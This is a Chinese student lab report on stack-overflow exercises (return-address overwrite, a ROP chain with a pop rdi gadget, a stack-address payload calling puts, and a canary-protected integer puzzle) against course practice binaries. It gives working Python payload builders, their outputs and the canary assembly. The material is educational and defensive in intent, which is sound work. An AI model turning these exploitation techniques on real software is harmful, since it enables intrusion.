

栈溢出攻击实验报告

题目解决思路

Problem 1:

分析

通过分析汇编代码，发现func函数存在明显的缓冲区溢出的问题：

strcpy将输入复制到rbp-0x8的位置且只分配了8字节。strcpy不检查长度，存在缓冲区溢出。同时程序中存在func1输出"Yes! I like ICS!"

解决方案

需要构造payload覆盖返回地址为func1的地址，具体结构为：8字节缓冲区+8字节覆盖rbp+8字节覆盖返回地址0x401216

```
padding=b"A"*16
func1_address=(0x401216).to_bytes(8,'little')#小端序fnuc1的地址
payload=padding+func1_address
with open("ans1.txt","wb") as f:
    f.write(payload)
```

Payload结构：[AAAA AAAA AAAA AAAA] [16 12 40 00 00 00 00 00]

结果

```
• [inzksky@inzksky-20ues1dp0r attack-lab-SakuyaInazaki]$ ./problem1 ans1.txt
Do you like ICS?
Yes! I like ICS!
```

Problem 2:

分析

分析发现本题启用了NX保护，因此需要借助程序现有的代码片段。

分析发现程序中存在pop_rdi，以ret结尾，可以进行辅助跳转。而且func2函数需要参数rdi==0x3f8才会输出成功消息

解决方案

```
#缓冲区位于rbp-0x8，我们需要16字节的填充，其中8字节填充+8字节覆盖rbp
padding=b"A"*16
pop_rdi=(0x4012c7).to_bytes(8,'little')#poprdi那一段的地址
x=(0x3f8).to_bytes(8,'little')#通过问题参数
func2_address=(0x401216).to_bytes(8,'little')#func2地址

payload=padding+pop_rdi+x+func2_address

with open("ans2.txt", "wb") as f:
    f.write(payload)
```

利用溢出攻击将返回地址覆盖为pop_rdi的地址，程序返回时跳转，将栈上0x3f8传给rdi，随后利用这一段带有的ret跳转至func2，而rdi满足函数要求所以成功。

结果

```
● [inzksky@inzksky-20ues1dp0r attack-lab-SakuyaInazaki]$ ./problem2 ans2.txt
Do you like ICS?
Welcome to the second level!
Yes! I like ICS!
```

Problem 3:

分析

以下分析以及策略是在关闭内核全局栈随机化下进行的。

分析发现，程序在func中保存了栈指针到全局变量saved_rsp。要求需输出114才能通过。可以构造payload来调用puts进行输出。

通过计算，可以知道payload起始位置位于saved_rsp+0x10

解决方案

```
base=Saved_rsp+0x10#运行时手动查询gdb
str_p=(base+8).to_bytes(8,'little')#指向字符串的指针
str=(0x00000000343131).to_bytes(8,'little')
padding=b"A"*16
torbp=(base+8).to_bytes(8,'little')#[rbp-8]指向字符串指针
mov_addr=(0x4012e6).to_bytes(8,'little')
puts_addr=(0x4010b0).to_bytes(8,'little')
exit_addr=(0x401120).to_bytes(8,'little')

payload=str_p+str+padding+torbp+mov_addr+puts_addr+exit_addr
```

所以整个过程就是利用栈溢出覆盖栈底指针，程序跳转到辅助代码读取字符串地址作为参数，最终让puts打印出 114。

结果

```
This GDB supports auto-downloading debuginfo from the following URLs:
<https://debuginfod.archlinux.org>
Enable debuginfod for this session? (y or [n]) [answered N; input not from terminal]
Debuginfod has been disabled.
To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit.
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
Do you like ICS?
Now, say your lucky number is 114!
If you do that, I will give you great scores!
114
[Inferior 1 (process 1088534) exited with code 0300]
```

Problem 4:

分析

通过分析发现由于canary位于返回地址之前，任何覆盖返回地址的栈溢出都会破坏canary

解决方案

题目提示不需要写代码，于是可以分析程序逻辑：

程序先检查输入值的无符号形式是否 ≥ -2 的无符号值，也就是是否 ≥ 4294967294 ，说明答案只能是-2或者-1。接着执行循环：一个计数器从0开始递增，同时rbp-0x18位置的值不断减1直到计数器 ≥ -2 。也就

是让rbp-0x18=输入+2。最后检查两个条件：rbp-0x18=1。且原始输入rbp-0x0c=-1。代入计算发现-1可以通关。

```
[inzksky@inzksky-20ues1dp0r attack-lab-SakuyaInazaki]$ ./problem4
hi please tell me what is your name?
inzksky
hi! do you like ics?
yes
if you give me enough yuanshi,I will let you pass!
-1
your money is 4294967295
great!I will give you great scores
```

canary保护

地址	指令	说明
0x136c	mov %fs:0x28,%rax	读canary
0x1375	mov %rax,-0x8(%rbp)	保存canary到栈上
0x140a	mov -0x8(%rbp),%rax	返回前读取保存的canary
0x140e	sub %fs:0x28,%rax	与原始canary比较
0x1417	je 0x141e	相等正常返回
0x1419	call __stack_chk_fail	不相等终止程序

思考与总结

本次实验深入学习了栈溢出攻击的原理和防护机制：

1. 栈溢出：覆盖返回地址改变程序。
2. ROP：当栈不可执行，需要利用程序中已有的代码片段攻击。
3. 栈地址：有ASLR时，需要泄露栈地址或使用相对偏移。
4. canary：防御简单的栈溢出攻击。但是需要配合其他保护才能提供完整的防护。

参考资料

- 1.CTF Wiki - Stack Overflow: <https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/stack-intro/>
- 2.CSAPP

3.Gemini

4.Claude Code